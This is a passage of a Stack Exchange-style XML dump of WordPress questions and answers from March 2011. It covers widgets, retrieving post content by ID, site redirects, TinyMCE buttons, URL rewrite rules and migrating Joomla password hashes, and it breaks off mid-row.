  <row Id="12549" PostTypeId="2" ParentId="1828" CreationDate="2011-03-20T14:33:28.967" Score="0" ViewCount="" Body="&lt;p&gt;I put together the following code based on @Philip's answer. Seems to work for me. Any suggestions are welcome!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mfields_test_single_instance_widget( $args ) {&#xA;    $args = wp_parse_args( (array) $args, array(&#xA;        'before_widget' =&amp;gt; '&amp;lt;div&amp;gt;',&#xA;        'after_widget'  =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title'  =&amp;gt; '&amp;lt;h2&amp;gt;',&#xA;        'after_title'   =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ) );&#xA;    print $args['before_title'] . esc_html( $args['widget_name'] ) . $args['after_title'];&#xA;    print $args['before_widget'] . '&amp;lt;p&amp;gt;THERE CAN BE ONLY ONE!!!&amp;lt;/p&amp;gt;' . $args['after_widget'];&#xA;}&#xA;wp_register_sidebar_widget(&#xA;    'mfields-test-single-instance-widget',&#xA;    'Single Instance Widget',&#xA;    'mfields_test_single_instance_widget',&#xA;    array( 'classname' =&amp;gt; 'mfields-test-single-instance-widget' )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-03-20T14:33:28.967" />
  <row Id="12550" PostTypeId="2" ParentId="1987" CreationDate="2011-03-20T14:43:42.507" Score="1" ViewCount="" Body="&lt;p&gt;The plugin architecture of wordpress by itself has nothing to do with MVC. But if you wanna do MVC WITHIN your own plugin why not. You're not obliged to use a framework, MVC is a concept which could be implemented without hevay framework see&#xA;&lt;a href=&quot;http://toys.lerdorf.com/archives/38-The-no-framework-PHP-MVC-framework.html&quot; rel=&quot;nofollow&quot;&gt;http://toys.lerdorf.com/archives/38-The-no-framework-PHP-MVC-framework.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-03-20T14:43:42.507" />
  <row Id="12551" PostTypeId="2" ParentId="12532" CreationDate="2011-03-20T14:47:01.667" Score="1" ViewCount="" Body="&lt;p&gt;You need to Add a image source meta tag to the head tag of your document.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;image_src&quot; href=&quot;http://site.com/image.jpg&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-20T14:47:01.667" CommentCount="1" />
  <row Id="12552" PostTypeId="1" AcceptedAnswerId="12557" CreationDate="2011-03-20T15:32:21.300" Score="0" ViewCount="121" Body="&lt;p&gt;I'm trying to get text only content of posts by ID. I modified this function as follows, but at the moment it returns nothing. I cannot see what's wrong with it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_the_excerpt_id($post_id) {&#xA;    $find = get_posts($post_id); &#xA;    $excerpt = $find-&amp;gt;post_content;&#xA;&#xA;    $excerpt = strip_tags($excerpt);&#xA;    $output = substr($excerpt, 0, 100);&#xA;&#xA;  return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-03-20T16:04:23.473" Title="Function to get content by ID" Tags="&lt;get-posts&gt;&lt;content&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="12553" PostTypeId="1" CreationDate="2011-03-20T15:10:52.967" Score="0" ViewCount="96" Body="&lt;p&gt;Having moved to my hosting my own WordPress blogsite I now need to ensure that readers find the new site rather than the old WordPress.com site.  What is the best mechanism for doing this?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:03:14.537" LastActivityDate="2011-05-10T08:03:14.537" Title="Migrating from WordPress.com to self-hosted site and autoforward visitors?" Tags="&lt;wordpress.com&gt;&lt;migration&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12554" PostTypeId="1" AcceptedAnswerId="12608" CreationDate="2011-03-20T15:40:36.537" Score="0" ViewCount="85" Body="&lt;p&gt;So I'm not sure what would be the best way to go about this in terms of best practices and optimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have query that parses an external XML feed and stores the data using the transient API every 24 hours. This is stored in wp_options and the whole feed is stored in the option_value, one of the numerical values in the feed is for &quot;weight&quot;. For example here is what the feed looks like for the this value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;weight type=&quot;string&quot;&amp;gt;&amp;lt;![CDATA[120]]&amp;gt;&amp;lt;/weight&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The posts have a meta_box with a key called &quot;meta_weight&quot; with a numerical value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query compares these 2 values by grabbing the xml as an array and the meta value with something rather simple like: &#xA;(I have simplified this example,  it is working).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$xml_weight = $xml-&amp;gt;weight;&#xA;$meta_weight = get_post_meta($post-&amp;gt;ID, 'meta_weight', true);            &#xA;&#xA;if $xml_weight &amp;gt; $meta_weight { echo &quot;Your heavy&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now for the actual question:) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This value comparison is just done on the fly with php, I need to store it in the database using just false/true to tally all posts where this value is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just add this value incrementally using $wpdb class and insert it into wp_postmeta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some better method to just grab the value out of the DB and compare it to the meta box value for every post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My sql knowledge is very poor.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-21T07:46:52.427" Title="Compare transient data with a meta box value" Tags="&lt;wpdb&gt;&lt;transient&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12555" PostTypeId="2" ParentId="12511" CreationDate="2011-03-20T15:47:03.783" Score="0" ViewCount="" Body="&lt;p&gt;For future askers with the same problem,  the solution was to add before the new sidebar :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To prevent sidebars from overlapping each other.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-20T15:47:03.783" />
  <row Id="12556" PostTypeId="2" ParentId="12553" CreationDate="2011-03-20T15:59:22.533" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way to do this without losing your traffic is to use the WordPress.com &lt;a href=&quot;http://en.support.wordpress.com/site-redirect/&quot; rel=&quot;nofollow&quot;&gt;Site Redirect&lt;/a&gt;.  It keeps the &lt;strong&gt;yourblog.wordpress.com&lt;/strong&gt; address active and points traffic to your new &lt;strong&gt;yourblog.com&lt;/strong&gt; domain.  You would be essentially paying the registration fee for your old domain at $12.00/year.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Periodically through this process you should be informing your readers to visit you at &lt;strong&gt;yourblog.com&lt;/strong&gt; so that you can stop paying for the redirect after a year.  Begin promoting the new address in your email signature, forum posts, etc. until people are used to the new address, then let the site redirect lapse.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-20T15:59:22.533" />
  <row Id="12557" PostTypeId="2" ParentId="12552" CreationDate="2011-03-20T16:04:23.473" Score="0" ViewCount="" Body="&lt;p&gt;Instead of using &lt;code&gt;get_posts&lt;/code&gt;, which you would use if you wanted to retrieve multiple posts in a loop, you should use &lt;code&gt;get_post&lt;/code&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post&quot; rel=&quot;nofollow&quot;&gt;which only retrieves one post by an ID&lt;/a&gt;. There is also a built-in excerpt so you might want to go with retrieving &lt;code&gt;post_excerpt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_the_excerpt_id($post_id) {&#xA;    $find = get_post($post_id); &#xA;    $excerpt = $find-&amp;gt;post_excerpt;&#xA;&#xA;    $excerpt = strip_tags($excerpt);&#xA;    $output = substr($excerpt, 0, 100);&#xA;&#xA;return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-03-20T16:04:23.473" />
  <row Id="12558" PostTypeId="2" ParentId="12538" CreationDate="2011-03-20T16:11:42.150" Score="5" ViewCount="" Body="&lt;p&gt;First of all you need to find out which hashing algorithm has been used on the Joomla site to store the passwords. Joomla - different to Worpdress - ships with a variety of hashing algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have found out how the hashes have been generated, you can port the hashing function over into wordpress and make use of a pluggable function called &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/pluggable.php#L1459&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_check_password()&lt;/code&gt;&lt;/a&gt; to check against the password hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pluggable_Functions&quot; rel=&quot;nofollow&quot;&gt;Pluggable&lt;/a&gt; function means, that you can define a function with the same name inside your own plugin-in, so to overwrite the standard functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is the simple trick:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You compare against both, the Joomla hash and the Wordpress one (PHPASS). Additionally you can take care of MD5 as well (the old Wordpress hashing algorithm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user logs in with a password that is in the old hash format, you update the users hash in the database with the standard wordpress hash (PHPASS). So each user that logs in will be automatically converted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/pluggable.php#L1459&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_check_password()&lt;/code&gt;&lt;/a&gt; function btw. does already something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you need is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find out which algorithm was used to generate the hashes.&lt;/li&gt;&#xA;&lt;li&gt;Port that algorithm over to worpdress, so you can invoke it per one function.&lt;/li&gt;&#xA;&lt;li&gt;Extend the wp_check_password() function to test against Joomla hashes as well.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-20T16:11:42.150" CommentCount="1" />
  <row Id="12560" PostTypeId="2" ParentId="12553" CreationDate="2011-03-20T16:58:55.970" Score="0" ViewCount="" Body="&lt;p&gt;You can simply use a redirect 301 moved permanently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is typically done in your .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;&#xA;RewriteCond %{HTTP_HOST} ^([^.:]+\.)*oldwebsite\.com\.?(:[0-9]*)?$ [NC]&#xA;RewriteRule ^/(.*)$ http://www.preferredwebsite.net/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are several methods, &lt;a href=&quot;http://en.wikipedia.org/wiki/URL_redirection&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/URL_redirection&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-20T16:58:55.970" CommentCount="1" />
  <row Id="12562" PostTypeId="2" ParentId="12407" CreationDate="2011-03-20T17:58:53.033" Score="0" ViewCount="" Body="&lt;p&gt;Thank you very much t31os. Your code is working well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know little more if you wish to help&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In Day dropdown box, is it possible to show days only which have posts?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Month dropdown box, is it possible to show months only which have posts?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Year dropdown box, is it possible to show years only which have posts?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If possible pls help me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again,&#xA;Amazon&lt;/p&gt;&#xA;" OwnerUserId="4087" LastActivityDate="2011-03-20T17:58:53.033" CommentCount="1" />
  <row Id="12563" PostTypeId="1" CreationDate="2011-03-20T18:13:10.273" Score="0" ViewCount="61" Body="&lt;p&gt;I'm creating a health conditions site where contributors will make posts. If I want to have multiple people with the &quot;Author Role&quot; be able to post about various categories, do I have to manually create the categories ahead of time...or is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do we increase Author Role permissions to be able to add Categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other solutions welcome. We just need guest authors to be able to add categories while ensuring there is not already a existing appropriate category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I want all categories to show on the sidebar, how would I achieve that prior to there even being a post? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-08-18T19:26:41.733" Title="Creating a Blog with numerous categories" Tags="&lt;categories&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12564" PostTypeId="1" AcceptedAnswerId="12568" CreationDate="2011-03-20T18:17:53.700" Score="0" ViewCount="80" Body="&lt;p&gt;I was wondering how to display just the following buttons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bold&lt;/p&gt;&#xA;&#xA;&lt;p&gt;italic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;underline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unordered list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ordered list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;insert link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unlik&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blockquote&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-03-20T20:31:14.380" Title="Showing only certain buttons on tinymice content editor" Tags="&lt;editor&gt;" AnswerCount="2" />
  <row Id="12565" PostTypeId="2" ParentId="12564" CreationDate="2011-03-20T18:29:47.400" Score="1" ViewCount="" Body="&lt;p&gt;With the tinyMCE advanced plugin you can control many aspects of the tinyMCE editor. You can add options, remove options and rearrange them as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin can be downloaded here: &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-advanced/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-03-20T18:29:47.400" />
  <row Id="12566" PostTypeId="1" AcceptedAnswerId="12567" CreationDate="2011-03-20T19:31:38.727" Score="0" ViewCount="69" Body="&lt;p&gt;I'm using an API which is accessed with ID/Secret, etc. and use it in different widgets. In each widget however, I'm repeating the entire JSON process (i.e. file_get_contents, decode, etc.). I can't help but think this must be slowing the entire process down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way of going about only calling this API once and then grabbing various data from it in different widgets, theme components, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-03-20T19:59:11.173" Title="Best Practice for re-using API Data in WordPress?" Tags="&lt;api&gt;" AnswerCount="1" />
  <row Id="12567" PostTypeId="2" ParentId="12566" CreationDate="2011-03-20T19:59:11.173" Score="1" ViewCount="" Body="&lt;p&gt;Use Transients API - &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Transients_API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest you to use WordPress HTTP API - &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/HTTP_API&lt;/a&gt; instead of &lt;code&gt;file_get_contents&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-20T19:59:11.173" CommentCount="2" />
  <row Id="12568" PostTypeId="2" ParentId="12564" CreationDate="2011-03-20T20:31:14.380" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@José Pablo Orozco Marín:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for how to code the custom buttons yourself, WordPress' Codex has a great example that shows you how:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/TinyMCE_Custom_Buttons&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/TinyMCE_Custom_Buttons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The example is complicated because it shows you how to add your own controls but if you are using the standard buttons you don't need to make is to complex. Here's a list of the standard buttons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Buttons/controls&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/wiki.php/Buttons/controls&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To illustrate I've modified the example to show only the buttons you wanted. This code can be placed in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a &lt;code&gt;.php&lt;/code&gt; file for a plugin that you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_addbuttons() {&#xA;  // Don't bother doing this stuff if the current user lacks permissions&#xA;  if ( ! current_user_can('edit_posts') &amp;amp;&amp;amp; ! current_user_can('edit_pages') )&#xA;    return;&#xA;&#xA;  // Add only in Rich Editor mode&#xA;  if ( get_user_option('rich_editing') == 'true') {&#xA;    add_filter('mce_buttons', 'register_myplugin_button');&#xA;  }&#xA;}&#xA;&#xA;function register_myplugin_button($buttons) {&#xA;  $buttons = array(&#xA;    'bold',&#xA;    'italic',&#xA;    'underline',&#xA;    'bullist',&#xA;    'numlist',&#xA;    'link',&#xA;    'unlink',&#xA;    'blockquote',&#xA;  );&#xA;  return $buttons;&#xA;}&#xA;&#xA;// init process for button control&#xA;add_action('init', 'myplugin_addbuttons');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's what it looks like when add a New Post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110320-162755.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-20T20:31:14.380" />
  <row Id="12569" PostTypeId="2" ParentId="12563" CreationDate="2011-03-20T20:37:37.180" Score="0" ViewCount="" Body="&lt;p&gt;I think you should probably allow authors to create Categories but keep an eye on it and provide some guidance for the authors on making sure they aren't duplicating and such.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2011-03-20T20:37:37.180" CommentCount="2" />
  <row Id="12570" PostTypeId="1" CreationDate="2011-03-20T21:15:22.143" Score="1" ViewCount="61" Body="&lt;p&gt;Knowing that wordpress doesn't follow MVC pattern.&#xA;What is the best way in worpress to output plugin's result in a certain url.&#xA;lets say I would like to show &quot;hello world&quot; in main area under &quot;www.example.com/show-hello-world&quot; url.&#xA;thanks. hope question is clear!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say url &quot;example.com/show-hello-world&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how could I specify template name, let's say &quot;page&quot; ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4089" LastEditorUserId="4089" LastEditorDisplayName="" LastEditDate="2011-03-21T09:17:01.787" LastActivityDate="2011-03-21T09:17:01.787" Title="What is the best way to output plugin result in certain url" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;url-rewriting&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="12571" PostTypeId="1" CreationDate="2011-03-20T21:31:55.047" Score="1" ViewCount="258" Body="&lt;p&gt;I have a weird problem with moving a Wordpress installation to a new server (just the server changes, domain remains the same, I'm currently accessing the site on the new server via the same domain and a hosts-file entry). Although the blog is displaying and I can access the admin area, there are no posts shown. The weird thing is, that the posts screen shows the correct statistics (&quot;All (137) | Published (92) | Drafts (45)&quot;) but the posts table says &quot;no posts found&quot;. On the frontend no posts are shown, but the &quot;newer/older&quot; links are shown and the archives list the months were posts were created. So it seems to find the posts, but somehow is missing some important information. I tried exporting/importing the DB with mysqldump/mysql on the command line and with phpmyadmin - same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anybody experience this problem before?&lt;/p&gt;&#xA;" OwnerUserId="2707" LastActivityDate="2011-08-19T01:26:48.957" Title="Moving Wordpress to new server: no posts found" Tags="&lt;posts&gt;&lt;database&gt;&lt;migration&gt;" AnswerCount="4" CommentCount="7" />
  <row Id="12572" PostTypeId="1" AcceptedAnswerId="12577" CreationDate="2011-03-20T22:01:05.903" Score="0" ViewCount="175" Body="&lt;p&gt;Assuming I have this URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://site.com/?get=something&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change it to a nice URL that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://site.com/get_something&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using WP's URL rewriting system?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-03-20T23:42:17.427" Title="Custom rewrite rules for a $_GET request" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="12573" PostTypeId="1" AcceptedAnswerId="12655" CreationDate="2011-03-20T22:30:08.210" Score="1" ViewCount="75" Body="&lt;p&gt;I've tried to follow the example for &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;Testing for paginated Pages&lt;/a&gt; but i don't know why it isn't working. i put it in the single.php file for post detection. i don't know why the page_test is broken. example code here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;get_header();&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content&quot; class=&quot;narrowcolumn&quot; role=&quot;main&quot;&amp;gt;&#xA;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div style=&quot;margin-top:5px&quot;&amp;gt;&#xA;&amp;lt;div style=&quot;padding:5px; float:left; margin-right:50px;&quot;&amp;gt;&amp;lt;fb:share-button href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;url&quot; type=&quot;button_count&quot;&amp;gt;&amp;lt;/fb:share-button&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php    &#xA;        $page_test = $wp_query-&amp;gt;get( 'paged' );&#xA;        if ( ! $page_test || $page_test &amp;lt; 2 ) {&#xA;&#xA;            something here...&#xA;&#xA;            &amp;lt;?php } else { ?&amp;gt;&#xA;&#xA;            another here...&#xA;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-22T07:42:03.310" Title="can't use the page_test method to check pagination" Tags="&lt;posts&gt;&lt;pagination&gt;&lt;conditional-content&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="12574" PostTypeId="2" ParentId="12573" CreationDate="2011-03-20T23:30:40.900" Score="3" ViewCount="" Body="&lt;p&gt;You need to either add &lt;code&gt;global $wp_query;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$page_test = $wp_query-&amp;gt;get( 'paged' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use &lt;code&gt;get_query_var();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page_test = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-20T23:30:40.900" CommentCount="1" />
  <row Id="12575" PostTypeId="1" AcceptedAnswerId="12581" CreationDate="2011-03-20T23:32:32.927" Score="1" ViewCount="368" Body="&lt;p&gt;I am trying to accomplish something somewhat simple I think. I have a menu item at the top of my page that I want to link to the latest post in a certain category. I just need to get the post ID of the latest post in the category so I can pass it to the menu. I want to do this outside of the loop and create a function in functions.php that will return the post ID. Does anyone have any suggestions on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="4092" LastActivityDate="2011-03-21T12:21:38.163" Title="Get post ID outside of the loop" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="12576" PostTypeId="1" AcceptedAnswerId="12583" CreationDate="2011-03-20T23:39:07.760" Score="2" ViewCount="127" Body="&lt;p&gt;Wordpress uses the Observer Pattern for its plugin system and operates on the premise of checking if a plugin is activated, scanning the plugins directory and storing everything in an array in the plugins class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it gets the activated plugins, it then proceeds to include the plugin script files, however I am curious as to how Wordpress un-includes plugins when they are deactivated in the admin? If Wordpress is merely including the file via a standard include_once or require_once, how does Wordpress deactivate a plugin and therefore un-include it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's from my understanding that you cannot include and then un-include a file in PHP (not that I know of). Can anyone point to me specific files where the plugins are included, and the appropriate functions and files where they are deactivated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Wordpress is storing activated plugins in an array of activated plugins, then including them; how does Wordpress know not to let a function inside of a deactivated plugin be called if it's already included?&lt;/p&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-03-21T00:30:01.317" LastActivityDate="2011-03-21T01:25:39.477" Title="How Does Wordpress Uninclude/Deactivate A Plugin?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;core&gt;" AnswerCount="1" />
  <row Id="12577" PostTypeId="2" ParentId="12572" CreationDate="2011-03-20T23:42:17.427" Score="1" ViewCount="" Body="&lt;p&gt;First add get to query vars array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_query_vars_wpa12572($vars) {&#xA;    $vars[] = 'get'&#xA;    return $vars;&#xA;}&#xA;&#xA;add_filter('query_vars', 'add_query_vars_wp12572');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add the rewrite rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function author_rewrite_rules_wpa12572( $wp_rewrite ) {&#xA;  $newrules = array();&#xA;  $new_rules['get_(\d*)$'] = 'index.php?get=$matches[1]';&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;add_filter('generate_rewrite_rules','author_rewrite_rules_wpa12572');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-20T23:42:17.427" />
  <row Id="12578" PostTypeId="1" CreationDate="2011-03-20T13:00:03.960" Score="0" ViewCount="160" Body="&lt;p&gt;im trying to build a little class to help build some simple input fields into a cutom page in the admin panel of wordpress, here's what i've got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class create_panel {&#xA;&#xA;public $default_settings = Array('blog_banner_image' =&amp;gt; 'main.jpg');&#xA;&#xA;public function set_ref_name( $str ) {&#xA;    $this-&amp;gt;ref_name = $str; &#xA;}&#xA;&#xA;public function set_sidebar_title( $str ) {&#xA;    $this-&amp;gt;side_bar_title = $str;   &#xA;}&#xA;&#xA;public function create_panel() {&#xA;    add_action('admin_menu', array(&amp;amp;$this, 'admin_menu'));&#xA;    add_action('admin_head', array(&amp;amp;$this, 'admin_head'));&#xA;    if ( function_exists( 'register_sidebar' ) )&#xA;        register_sidebar( array( 'name' =&amp;gt; 'Sidebar' ) );&#xA;    if ( ! is_array( get_option( $this-&amp;gt;ref_name ) ) )&#xA;        add_option( $this-&amp;gt;ref_name, $this-&amp;gt;default_settings);&#xA;    $this-&amp;gt;options = get_option( $this-&amp;gt;ref_name );&#xA;}&#xA;&#xA;public function admin_menu() {&#xA;    add_theme_page('Theme Control Panel', 